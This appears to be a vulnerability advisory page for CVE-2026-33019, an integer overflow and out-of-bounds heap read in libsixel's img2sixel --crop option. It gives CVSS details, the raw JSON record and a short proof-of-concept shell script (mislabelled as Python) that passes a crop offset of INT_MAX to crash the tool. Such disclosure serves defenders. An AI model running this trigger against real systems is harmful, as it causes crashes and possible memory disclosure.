Security Vulnerability Report
中文
CVE-2026-33019 CVSS 7.1 HIGH

CVE-2026-33019

Published: 2026-04-14 22:16:30
Last Modified: 2026-04-23 14:47:42

Description

libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. Versions 1.8.7 and prior contain an integer overflow leading to an out-of-bounds heap read in the --crop option handling of img2sixel, where positive coordinates up to INT_MAX are accepted without overflow-safe bounds checking. In sixel_encoder_do_clip(), the expression clip_w + clip_x overflows to a large negative value when clip_x is INT_MAX, causing the bounds guard to be skipped entirely, and the unclamped coordinate is passed through sixel_frame_clip() to clip(), which computes a source pointer far beyond the image buffer and passes it to memmove(). An attacker supplying a specially crafted crop argument with any valid image can trigger an out-of-bounds read in the heap, resulting in a reliable crash and potential information disclosure. This issue has been fixed in version 1.8.7-r1.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:saitoha:libsixel:*:*:*:*:*:*:*:* - VULNERABLE
libsixel <= 1.8.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-33019 # This script demonstrates the integer overflow in img2sixel --crop option. # Usage: ./poc.sh # 1. Create a small dummy image (1x1 pixel PNG) # Using base64 to create a minimal valid PNG echo "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8DwHwAFBQIAX8jx0gAAAABJRU5ErkJggg==" | base64 -d > input.png # 2. Execute img2sixel with malicious crop arguments # clip_x is set to INT_MAX (2147483647) # clip_w is set to 100 # Calculation: clip_w + clip_x overflows to negative, bypassing bounds check. echo "Triggering vulnerability..." img2sixel --crop=2147483647,0,100,100 input.png echo "If the application crashes or reads out-of-bounds, the vulnerability is confirmed."

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33019", "sourceIdentifier": "[email protected]", "published": "2026-04-14T22:16:30.380", "lastModified": "2026-04-23T14:47:42.373", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. Versions 1.8.7 and prior contain an integer overflow leading to an out-of-bounds heap read in the --crop option handling of img2sixel, where positive coordinates up to INT_MAX are accepted without overflow-safe bounds checking. In sixel_encoder_do_clip(), the expression clip_w + clip_x overflows to a large negative value when clip_x is INT_MAX, causing the bounds guard to be skipped entirely, and the unclamped coordinate is passed through sixel_frame_clip() to clip(), which computes a source pointer far beyond the image buffer and passes it to memmove(). An attacker supplying a specially crafted crop argument with any valid image can trigger an out-of-bounds read in the heap, resulting in a reliable crash and potential information disclosure. This issue has been fixed in version 1.8.7-r1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:saitoha:libsixel:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.7-r1", "matchCriteriaId": "E16EAA6A-544F-4D16-829D-1B7C9979EA6A"}]}]}], "references": [{"url": "https://github.com/saitoha/libsixel/releases/tag/v1.8.7-r1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/saitoha/libsixel/security/advisories/GHSA-c854-ffg9-g72c", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/saitoha/libsixel/security/advisories/GHSA-c854-ffg9-g72c", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}